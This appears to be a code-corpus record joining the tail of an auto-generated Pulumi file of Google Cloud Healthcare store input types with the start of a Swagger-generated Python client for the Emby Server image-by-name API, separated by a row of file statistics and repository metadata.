project. service-PROJECT_NUMBER@gcp-sa-healthcare.iam.gserviceaccount.com must have publisher permissions on the given
Cloud Pub/Sub topic. Not having adequate permissions will cause the calls that send notifications to fail.
"""
return pulumi.get(self, "pubsub_topic")
@pubsub_topic.setter
def pubsub_topic(self, value: pulumi.Input[str]):
pulumi.set(self, "pubsub_topic", value)
@pulumi.input_type
class DicomStoreStreamConfigArgs:
def __init__(__self__, *,
bigquery_destination: pulumi.Input['DicomStoreStreamConfigBigqueryDestinationArgs']):
"""
:param pulumi.Input['DicomStoreStreamConfigBigqueryDestinationArgs'] bigquery_destination: BigQueryDestination to include a fully qualified BigQuery table URI where DICOM instance metadata will be streamed.
Structure is documented below.
"""
pulumi.set(__self__, "bigquery_destination", bigquery_destination)
@property
@pulumi.getter(name="bigqueryDestination")
def bigquery_destination(self) -> pulumi.Input['DicomStoreStreamConfigBigqueryDestinationArgs']:
"""
BigQueryDestination to include a fully qualified BigQuery table URI where DICOM instance metadata will be streamed.
Structure is documented below.
"""
return pulumi.get(self, "bigquery_destination")
@bigquery_destination.setter
def bigquery_destination(self, value: pulumi.Input['DicomStoreStreamConfigBigqueryDestinationArgs']):
pulumi.set(self, "bigquery_destination", value)
@pulumi.input_type
class DicomStoreStreamConfigBigqueryDestinationArgs:
def __init__(__self__, *,
table_uri: pulumi.Input[str]):
"""
:param pulumi.Input[str] table_uri: a fully qualified BigQuery table URI where DICOM instance metadata will be streamed.
"""
pulumi.set(__self__, "table_uri", table_uri)
@property
@pulumi.getter(name="tableUri")
def table_uri(self) -> pulumi.Input[str]:
"""
a fully qualified BigQuery table URI where DICOM instance metadata will be streamed.
"""
return pulumi.get(self, "table_uri")
@table_uri.setter
def table_uri(self, value: pulumi.Input[str]):
pulumi.set(self, "table_uri", value)
@pulumi.input_type
class FhirStoreIamBindingConditionArgs:
def __init__(__self__, *,
expression: pulumi.Input[str],
title: pulumi.Input[str],
description: Optional[pulumi.Input[str]] = None):
pulumi.set(__self__, "expression", expression)
pulumi.set(__self__, "title", title)
if description is not None:
pulumi.set(__self__, "description", description)
@property
@pulumi.getter
def expression(self) -> pulumi.Input[str]:
return pulumi.get(self, "expression")
@expression.setter
def expression(self, value: pulumi.Input[str]):
pulumi.set(self, "expression", value)
@property
@pulumi.getter
def title(self) -> pulumi.Input[str]:
return pulumi.get(self, "title")
@title.setter
def title(self, value: pulumi.Input[str]):
pulumi.set(self, "title", value)
@property
@pulumi.getter
def description(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "description")
@description.setter
def description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "description", value)
@pulumi.input_type
class FhirStoreIamMemberConditionArgs:
def __init__(__self__, *,
expression: pulumi.Input[str],
title: pulumi.Input[str],
description: Optional[pulumi.Input[str]] = None):
pulumi.set(__self__, "expression", expression)
pulumi.set(__self__, "title", title)
if description is not None:
pulumi.set(__self__, "description", description)
@property
@pulumi.getter
def expression(self) -> pulumi.Input[str]:
return pulumi.get(self, "expression")
@expression.setter
def expression(self, value: pulumi.Input[str]):
pulumi.set(self, "expression", value)
@property
@pulumi.getter
def title(self) -> pulumi.Input[str]:
return pulumi.get(self, "title")
@title.setter
def title(self, value: pulumi.Input[str]):
pulumi.set(self, "title", value)
@property
@pulumi.getter
def description(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "description")
@description.setter
def description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "description", value)
@pulumi.input_type
class FhirStoreNotificationConfigArgs:
def __init__(__self__, *,
pubsub_topic: pulumi.Input[str]):
"""
:param pulumi.Input[str] pubsub_topic: The Cloud Pub/Sub topic that notifications of changes are published on. Supplied by the client.
PubsubMessage.Data will contain the resource name. PubsubMessage.MessageId is the ID of this message.
It is guaranteed to be unique within the topic. PubsubMessage.PublishTime is the time at which the message
was published. Notifications are only sent if the topic is non-empty. Topic names must be scoped to a
project. service-PROJECT_NUMBER@gcp-sa-healthcare.iam.gserviceaccount.com must have publisher permissions on the given
Cloud Pub/Sub topic. Not having adequate permissions will cause the calls that send notifications to fail.
"""
pulumi.set(__self__, "pubsub_topic", pubsub_topic)
@property
@pulumi.getter(name="pubsubTopic")
def pubsub_topic(self) -> pulumi.Input[str]:
"""
The Cloud Pub/Sub topic that notifications of changes are published on. Supplied by the client.
PubsubMessage.Data will contain the resource name. PubsubMessage.MessageId is the ID of this message.
It is guaranteed to be unique within the topic. PubsubMessage.PublishTime is the time at which the message
was published. Notifications are only sent if the topic is non-empty. Topic names must be scoped to a
project. service-PROJECT_NUMBER@gcp-sa-healthcare.iam.gserviceaccount.com must have publisher permissions on the given
Cloud Pub/Sub topic. Not having adequate permissions will cause the calls that send notifications to fail.
"""
return pulumi.get(self, "pubsub_topic")
@pubsub_topic.setter
def pubsub_topic(self, value: pulumi.Input[str]):
pulumi.set(self, "pubsub_topic", value)
@pulumi.input_type
class FhirStoreStreamConfigArgs:
def __init__(__self__, *,
bigquery_destination: pulumi.Input['FhirStoreStreamConfigBigqueryDestinationArgs'],
resource_types: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None):
"""
:param pulumi.Input['FhirStoreStreamConfigBigqueryDestinationArgs'] bigquery_destination: The destination BigQuery structure that contains both the dataset location and corresponding schema config.
The output is organized in one table per resource type. The server reuses the existing tables (if any) that
are named after the resource types, e.g. "Patient", "Observation". When there is no existing table for a given
resource type, the server attempts to create one.
See the [streaming config reference](https://cloud.google.com/healthcare/docs/reference/rest/v1beta1/projects.locations.datasets.fhirStores#streamconfig) for more details.
Structure is documented below.
:param pulumi.Input[Sequence[pulumi.Input[str]]] resource_types: Supply a FHIR resource type (such as "Patient" or "Observation"). See
https://www.hl7.org/fhir/valueset-resource-types.html for a list of all FHIR resource types. The server treats
an empty list as an intent to stream all the supported resource types in this FHIR store.
"""
pulumi.set(__self__, "bigquery_destination", bigquery_destination)
if resource_types is not None:
pulumi.set(__self__, "resource_types", resource_types)
@property
@pulumi.getter(name="bigqueryDestination")
def bigquery_destination(self) -> pulumi.Input['FhirStoreStreamConfigBigqueryDestinationArgs']:
"""
The destination BigQuery structure that contains both the dataset location and corresponding schema config.
The output is organized in one table per resource type. The server reuses the existing tables (if any) that
are named after the resource types, e.g. "Patient", "Observation". When there is no existing table for a given
resource type, the server attempts to create one.
See the [streaming config reference](https://cloud.google.com/healthcare/docs/reference/rest/v1beta1/projects.locations.datasets.fhirStores#streamconfig) for more details.
Structure is documented below.
"""
return pulumi.get(self, "bigquery_destination")
@bigquery_destination.setter
def bigquery_destination(self, value: pulumi.Input['FhirStoreStreamConfigBigqueryDestinationArgs']):
pulumi.set(self, "bigquery_destination", value)
@property
@pulumi.getter(name="resourceTypes")
def resource_types(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
Supply a FHIR resource type (such as "Patient" or "Observation"). See
https://www.hl7.org/fhir/valueset-resource-types.html for a list of all FHIR resource types. The server treats
an empty list as an intent to stream all the supported resource types in this FHIR store.
"""
return pulumi.get(self, "resource_types")
@resource_types.setter
def resource_types(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "resource_types", value)
@pulumi.input_type
class FhirStoreStreamConfigBigqueryDestinationArgs:
def __init__(__self__, *,
dataset_uri: pulumi.Input[str],
schema_config: pulumi.Input['FhirStoreStreamConfigBigqueryDestinationSchemaConfigArgs']):
"""
:param pulumi.Input[str] dataset_uri: BigQuery URI to a dataset, up to 2000 characters long, in the format bq://projectId.bqDatasetId
:param pulumi.Input['FhirStoreStreamConfigBigqueryDestinationSchemaConfigArgs'] schema_config: The configuration for the exported BigQuery schema.
Structure is documented below.
"""
pulumi.set(__self__, "dataset_uri", dataset_uri)
pulumi.set(__self__, "schema_config", schema_config)
@property
@pulumi.getter(name="datasetUri")
def dataset_uri(self) -> pulumi.Input[str]:
"""
BigQuery URI to a dataset, up to 2000 characters long, in the format bq://projectId.bqDatasetId
"""
return pulumi.get(self, "dataset_uri")
@dataset_uri.setter
def dataset_uri(self, value: pulumi.Input[str]):
pulumi.set(self, "dataset_uri", value)
@property
@pulumi.getter(name="schemaConfig")
def schema_config(self) -> pulumi.Input['FhirStoreStreamConfigBigqueryDestinationSchemaConfigArgs']:
"""
The configuration for the exported BigQuery schema.
Structure is documented below.
"""
return pulumi.get(self, "schema_config")
@schema_config.setter
def schema_config(self, value: pulumi.Input['FhirStoreStreamConfigBigqueryDestinationSchemaConfigArgs']):
pulumi.set(self, "schema_config", value)
@pulumi.input_type
class FhirStoreStreamConfigBigqueryDestinationSchemaConfigArgs:
def __init__(__self__, *,
recursive_structure_depth: pulumi.Input[int],
schema_type: Optional[pulumi.Input[str]] = None):
"""
:param pulumi.Input[int] recursive_structure_depth: The depth for all recursive structures in the output analytics schema. For example, concept in the CodeSystem
resource is a recursive structure; when the depth is 2, the CodeSystem table will have a column called
concept.concept but not concept.concept.concept. If not specified or set to 0, the server will use the default
value 2. The maximum depth allowed is 5.
:param pulumi.Input[str] schema_type: Specifies the output schema type. Only ANALYTICS is supported at this time.
* ANALYTICS: Analytics schema defined by the FHIR community.
See https://github.com/FHIR/sql-on-fhir/blob/master/sql-on-fhir.md.
Default value is `ANALYTICS`.
Possible values are `ANALYTICS`.
"""
pulumi.set(__self__, "recursive_structure_depth", recursive_structure_depth)
if schema_type is not None:
pulumi.set(__self__, "schema_type", schema_type)
@property
@pulumi.getter(name="recursiveStructureDepth")
def recursive_structure_depth(self) -> pulumi.Input[int]:
"""
The depth for all recursive structures in the output analytics schema. For example, concept in the CodeSystem
resource is a recursive structure; when the depth is 2, the CodeSystem table will have a column called
concept.concept but not concept.concept.concept. If not specified or set to 0, the server will use the default
value 2. The maximum depth allowed is 5.
"""
return pulumi.get(self, "recursive_structure_depth")
@recursive_structure_depth.setter
def recursive_structure_depth(self, value: pulumi.Input[int]):
pulumi.set(self, "recursive_structure_depth", value)
@property
@pulumi.getter(name="schemaType")
def schema_type(self) -> Optional[pulumi.Input[str]]:
"""
Specifies the output schema type. Only ANALYTICS is supported at this time.
* ANALYTICS: Analytics schema defined by the FHIR community.
See https://github.com/FHIR/sql-on-fhir/blob/master/sql-on-fhir.md.
Default value is `ANALYTICS`.
Possible values are `ANALYTICS`.
"""
return pulumi.get(self, "schema_type")
@schema_type.setter
def schema_type(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "schema_type", value)
@pulumi.input_type
class Hl7StoreIamBindingConditionArgs:
def __init__(__self__, *,
expression: pulumi.Input[str],
title: pulumi.Input[str],
description: Optional[pulumi.Input[str]] = None):
pulumi.set(__self__, "expression", expression)
pulumi.set(__self__, "title", title)
if description is not None:
pulumi.set(__self__, "description", description)
@property
@pulumi.getter
def expression(self) -> pulumi.Input[str]:
return pulumi.get(self, "expression")
@expression.setter
def expression(self, value: pulumi.Input[str]):
pulumi.set(self, "expression", value)
@property
@pulumi.getter
def title(self) -> pulumi.Input[str]:
return pulumi.get(self, "title")
@title.setter
def title(self, value: pulumi.Input[str]):
pulumi.set(self, "title", value)
@property
@pulumi.getter
def description(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "description")
@description.setter
def description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "description", value)
@pulumi.input_type
class Hl7StoreIamMemberConditionArgs:
def __init__(__self__, *,
expression: pulumi.Input[str],
title: pulumi.Input[str],
description: Optional[pulumi.Input[str]] = None):
pulumi.set(__self__, "expression", expression)
pulumi.set(__self__, "title", title)
if description is not None:
pulumi.set(__self__, "description", description)
@property
@pulumi.getter
def expression(self) -> pulumi.Input[str]:
return pulumi.get(self, "expression")
@expression.setter
def expression(self, value: pulumi.Input[str]):
pulumi.set(self, "expression", value)
@property
@pulumi.getter
def title(self) -> pulumi.Input[str]:
return pulumi.get(self, "title")
@title.setter
def title(self, value: pulumi.Input[str]):
pulumi.set(self, "title", value)
@property
@pulumi.getter
def description(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "description")
@description.setter
def description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "description", value)
@pulumi.input_type
class Hl7StoreNotificationConfigArgs:
def __init__(__self__, *,
pubsub_topic: pulumi.Input[str]):
"""
:param pulumi.Input[str] pubsub_topic: The Cloud Pub/Sub topic that notifications of changes are published on. Supplied by the client.
PubsubMessage.Data will contain the resource name. PubsubMessage.MessageId is the ID of this message.
It is guaranteed to be unique within the topic. PubsubMessage.PublishTime is the time at which the message
was published. Notifications are only sent if the topic is non-empty. Topic names must be scoped to a
project. service-PROJECT_NUMBER@gcp-sa-healthcare.iam.gserviceaccount.com must have publisher permissions on the given
Cloud Pub/Sub topic. Not having adequate permissions will cause the calls that send notifications to fail.
"""
pulumi.set(__self__, "pubsub_topic", pubsub_topic)
@property
@pulumi.getter(name="pubsubTopic")
def pubsub_topic(self) -> pulumi.Input[str]:
"""
The Cloud Pub/Sub topic that notifications of changes are published on. Supplied by the client.
PubsubMessage.Data will contain the resource name. PubsubMessage.MessageId is the ID of this message.
It is guaranteed to be unique within the topic. PubsubMessage.PublishTime is the time at which the message
was published. Notifications are only sent if the topic is non-empty. Topic names must be scoped to a
project. service-PROJECT_NUMBER@gcp-sa-healthcare.iam.gserviceaccount.com must have publisher permissions on the given
Cloud Pub/Sub topic. Not having adequate permissions will cause the calls that send notifications to fail.
"""
return pulumi.get(self, "pubsub_topic")
@pubsub_topic.setter
def pubsub_topic(self, value: pulumi.Input[str]):
pulumi.set(self, "pubsub_topic", value)
@pulumi.input_type
class Hl7StoreNotificationConfigsArgs:
def __init__(__self__, *,
pubsub_topic: pulumi.Input[str],
filter: Optional[pulumi.Input[str]] = None):
"""
:param pulumi.Input[str] pubsub_topic: The Cloud Pub/Sub topic that notifications of changes are published on. Supplied by the client.
PubsubMessage.Data will contain the resource name. PubsubMessage.MessageId is the ID of this message.
It is guaranteed to be unique within the topic. PubsubMessage.PublishTime is the time at which the message
was published. Notifications are only sent if the topic is non-empty. Topic names must be scoped to a
project. service-PROJECT_NUMBER@gcp-sa-healthcare.iam.gserviceaccount.com must have publisher permissions on the given
Cloud Pub/Sub topic. Not having adequate permissions will cause the calls that send notifications to fail.
:param pulumi.Input[str] filter: Restricts notifications sent for messages matching a filter. If this is empty, all messages
are matched. Syntax: https://cloud.google.com/appengine/docs/standard/python/search/query_strings
Fields/functions available for filtering are:
* messageType, from the MSH-9.1 field. For example, NOT messageType = "ADT".
* send_date or sendDate, the YYYY-MM-DD date the message was sent in the dataset's timeZone, from the MSH-7 segment. For example, send_date < "2017-01-02".
* sendTime, the timestamp when the message was sent, using the RFC3339 time format for comparisons, from the MSH-7 segment. For example, sendTime < "2017-01-02T00:00:00-05:00".
* sendFacility, the care center that the message came from, from the MSH-4 segment. For example, sendFacility = "ABC".
* PatientId(value, type), which matches if the message lists a patient having an ID of the given value and type in the PID-2, PID-3, or PID-4 segments. For example, PatientId("123456", "MRN").
* labels.x, a string value of the label with key x as set using the Message.labels map. For example, labels."priority"="high". The operator :* can be used to assert the existence of a label. For example, labels."priority":*.
"""
pulumi.set(__self__, "pubsub_topic", pubsub_topic)
if filter is not None:
pulumi.set(__self__, "filter", filter)
@property
@pulumi.getter(name="pubsubTopic")
def pubsub_topic(self) -> pulumi.Input[str]:
"""
The Cloud Pub/Sub topic that notifications of changes are published on. Supplied by the client.
PubsubMessage.Data will contain the resource name. PubsubMessage.MessageId is the ID of this message.
It is guaranteed to be unique within the topic. PubsubMessage.PublishTime is the time at which the message
was published. Notifications are only sent if the topic is non-empty. Topic names must be scoped to a
project. service-PROJECT_NUMBER@gcp-sa-healthcare.iam.gserviceaccount.com must have publisher permissions on the given
Cloud Pub/Sub topic. Not having adequate permissions will cause the calls that send notifications to fail.
"""
return pulumi.get(self, "pubsub_topic")
@pubsub_topic.setter
def pubsub_topic(self, value: pulumi.Input[str]):
pulumi.set(self, "pubsub_topic", value)
@property
@pulumi.getter
def filter(self) -> Optional[pulumi.Input[str]]:
"""
Restricts notifications sent for messages matching a filter. If this is empty, all messages
are matched. Syntax: https://cloud.google.com/appengine/docs/standard/python/search/query_strings
Fields/functions available for filtering are:
* messageType, from the MSH-9.1 field. For example, NOT messageType = "ADT".
* send_date or sendDate, the YYYY-MM-DD date the message was sent in the dataset's timeZone, from the MSH-7 segment. For example, send_date < "2017-01-02".
* sendTime, the timestamp when the message was sent, using the RFC3339 time format for comparisons, from the MSH-7 segment. For example, sendTime < "2017-01-02T00:00:00-05:00".
* sendFacility, the care center that the message came from, from the MSH-4 segment. For example, sendFacility = "ABC".
* PatientId(value, type), which matches if the message lists a patient having an ID of the given value and type in the PID-2, PID-3, or PID-4 segments. For example, PatientId("123456", "MRN").
* labels.x, a string value of the label with key x as set using the Message.labels map. For example, labels."priority"="high". The operator :* can be used to assert the existence of a label. For example, labels."priority":*.
"""
return pulumi.get(self, "filter")
@filter.setter
def filter(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "filter", value)
@pulumi.input_type
class Hl7StoreParserConfigArgs:
def __init__(__self__, *,
allow_null_header: Optional[pulumi.Input[bool]] = None,
schema: Optional[pulumi.Input[str]] = None,
segment_terminator: Optional[pulumi.Input[str]] = None,
version: Optional[pulumi.Input[str]] = None):
"""
:param pulumi.Input[bool] allow_null_header: Determines whether messages with no header are allowed.
:param pulumi.Input[str] schema: JSON encoded string for schemas used to parse messages in this
store if schematized parsing is desired.
:param pulumi.Input[str] segment_terminator: Byte(s) to be used as the segment terminator. If this is unset, '\r' will be used as segment terminator.
A base64-encoded string.
:param pulumi.Input[str] version: The version of the unschematized parser to be used when a custom `schema` is not set.
Default value is `V1`.
Possible values are `V1` and `V2`.
"""
if allow_null_header is not None:
pulumi.set(__self__, "allow_null_header", allow_null_header)
if schema is not None:
pulumi.set(__self__, "schema", schema)
if segment_terminator is not None:
pulumi.set(__self__, "segment_terminator", segment_terminator)
if version is not None:
pulumi.set(__self__, "version", version)
@property
@pulumi.getter(name="allowNullHeader")
def allow_null_header(self) -> Optional[pulumi.Input[bool]]:
"""
Determines whether messages with no header are allowed.
"""
return pulumi.get(self, "allow_null_header")
@allow_null_header.setter
def allow_null_header(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "allow_null_header", value)
@property
@pulumi.getter
def schema(self) -> Optional[pulumi.Input[str]]:
"""
JSON encoded string for schemas used to parse messages in this
store if schematized parsing is desired.
"""
return pulumi.get(self, "schema")
@schema.setter
def schema(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "schema", value)
@property
@pulumi.getter(name="segmentTerminator")
def segment_terminator(self) -> Optional[pulumi.Input[str]]:
"""
Byte(s) to be used as the segment terminator. If this is unset, '\r' will be used as segment terminator.
A base64-encoded string.
"""
return pulumi.get(self, "segment_terminator")
@segment_terminator.setter
def segment_terminator(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "segment_terminator", value)
@property
@pulumi.getter
def version(self) -> Optional[pulumi.Input[str]]:
"""
The version of the unschematized parser to be used when a custom `schema` is not set.
Default value is `V1`.
Possible values are `V1` and `V2`.
"""
return pulumi.get(self, "version")
@version.setter
def version(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "version", value)
| 43.174883 | 239 | 0.676118 | 4,356 | 36,785 | 5.586547 | 0.082645 | 0.082268 | 0.079392 | 0.036696 | 0.85375 | 0.805137 | 0.79285 | 0.766879 | 0.756236 | 0.747606 | 0 | 0.004606 | 0.22675 | 36,785 | 851 | 240 | 43.225617 | 0.850935 | 0.365665 | 0 | 0.72296 | 1 | 0 | 0.125263 | 0.054565 | 0 | 0 | 0 | 0 | 0 | 1 | 0.216319 | false | 0 | 0.009488 | 0.056926 | 0.352941 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
40120208d780ce393f0ae7c0ce9afd903a17ab95 | 22,774 | py | Python | embyapi/api/image_by_name_service_api.py | stanionascu/python-embyapi | a3f7aa49aea4052277cc43605c0d89bc6ff21913 | [
"BSD-3-Clause"
] | null | null | null | embyapi/api/image_by_name_service_api.py | stanionascu/python-embyapi | a3f7aa49aea4052277cc43605c0d89bc6ff21913 | [
"BSD-3-Clause"
] | null | null | null | embyapi/api/image_by_name_service_api.py | stanionascu/python-embyapi | a3f7aa49aea4052277cc43605c0d89bc6ff21913 | [
"BSD-3-Clause"
] | null | null | null | # coding: utf-8
"""
Emby Server API
Explore the Emby Server API # noqa: E501
OpenAPI spec version: 4.1.1.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import re # noqa: F401
# python 2 and python 3 compatibility library
import six
from embyapi.api_client import ApiClient
class ImageByNameServiceApi(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
Ref: https://github.com/swagger-api/swagger-codegen
"""
def __init__(self, api_client=None):
if api_client is None:
api_client = ApiClient()
self.api_client = api_client
def get_images_general(self, **kwargs): # noqa: E501
"""Gets all general images by name # noqa: E501
Requires authentication as user # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_images_general(async_req=True)
>>> result = thread.get()
:param async_req bool
:return: list[ImageByNameInfo]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_images_general_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.get_images_general_with_http_info(**kwargs) # noqa: E501
return data
def get_images_general_with_http_info(self, **kwargs): # noqa: E501
"""Gets all general images by name # noqa: E501
Requires authentication as user # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_images_general_with_http_info(async_req=True)
>>> result = thread.get()
:param async_req bool
:return: list[ImageByNameInfo]
If the method is called asynchronously,
returns the request thread.
"""
all_params = [] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_images_general" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json', 'application/xml']) # noqa: E501
# Authentication setting
auth_settings = ['apikeyauth', 'embyauth'] # noqa: E501
return self.api_client.call_api(
'/Images/General', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[ImageByNameInfo]', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_images_general_by_name_by_type(self, name, type, **kwargs): # noqa: E501
"""Gets a general image by name # noqa: E501
No authentication required # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_images_general_by_name_by_type(name, type, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str name: The name of the image (required)
:param str type: Image Type (primary, backdrop, logo, etc). (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_images_general_by_name_by_type_with_http_info(name, type, **kwargs) # noqa: E501
else:
(data) = self.get_images_general_by_name_by_type_with_http_info(name, type, **kwargs) # noqa: E501
return data
def get_images_general_by_name_by_type_with_http_info(self, name, type, **kwargs): # noqa: E501
"""Gets a general image by name # noqa: E501
No authentication required # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_images_general_by_name_by_type_with_http_info(name, type, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str name: The name of the image (required)
:param str type: Image Type (primary, backdrop, logo, etc). (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['name', 'type'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_images_general_by_name_by_type" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'name' is set
if ('name' not in params or
params['name'] is None):
raise ValueError("Missing the required parameter `name` when calling `get_images_general_by_name_by_type`") # noqa: E501
# verify the required parameter 'type' is set
if ('type' not in params or
params['type'] is None):
raise ValueError("Missing the required parameter `type` when calling `get_images_general_by_name_by_type`") # noqa: E501
collection_formats = {}
path_params = {}
if 'name' in params:
path_params['Name'] = params['name'] # noqa: E501
if 'type' in params:
path_params['Type'] = params['type'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/Images/General/{Name}/{Type}', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_images_mediainfo(self, **kwargs): # noqa: E501
"""Gets all media info image by name # noqa: E501
Requires authentication as user # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_images_mediainfo(async_req=True)
>>> result = thread.get()
:param async_req bool
:return: list[ImageByNameInfo]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_images_mediainfo_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.get_images_mediainfo_with_http_info(**kwargs) # noqa: E501
return data
def get_images_mediainfo_with_http_info(self, **kwargs): # noqa: E501
"""Gets all media info image by name # noqa: E501
Requires authentication as user # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_images_mediainfo_with_http_info(async_req=True)
>>> result = thread.get()
:param async_req bool
:return: list[ImageByNameInfo]
If the method is called asynchronously,
returns the request thread.
"""
all_params = [] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_images_mediainfo" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json', 'application/xml']) # noqa: E501
# Authentication setting
auth_settings = ['apikeyauth', 'embyauth'] # noqa: E501
return self.api_client.call_api(
'/Images/MediaInfo', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[ImageByNameInfo]', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_images_mediainfo_by_theme_by_name(self, name, theme, **kwargs): # noqa: E501
"""Gets a media info image by name # noqa: E501
No authentication required # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_images_mediainfo_by_theme_by_name(name, theme, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str name: The name of the image (required)
:param str theme: The theme to get the image from (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_images_mediainfo_by_theme_by_name_with_http_info(name, theme, **kwargs) # noqa: E501
else:
(data) = self.get_images_mediainfo_by_theme_by_name_with_http_info(name, theme, **kwargs) # noqa: E501
return data
def get_images_mediainfo_by_theme_by_name_with_http_info(self, name, theme, **kwargs): # noqa: E501
"""Gets a media info image by name # noqa: E501
No authentication required # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_images_mediainfo_by_theme_by_name_with_http_info(name, theme, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str name: The name of the image (required)
:param str theme: The theme to get the image from (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['name', 'theme'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_images_mediainfo_by_theme_by_name" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'name' is set
if ('name' not in params or
params['name'] is None):
raise ValueError("Missing the required parameter `name` when calling `get_images_mediainfo_by_theme_by_name`") # noqa: E501
# verify the required parameter 'theme' is set
if ('theme' not in params or
params['theme'] is None):
raise ValueError("Missing the required parameter `theme` when calling `get_images_mediainfo_by_theme_by_name`") # noqa: E501
collection_formats = {}
path_params = {}
if 'name' in params:
path_params['Name'] = params['name'] # noqa: E501
if 'theme' in params:
path_params['Theme'] = params['theme'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
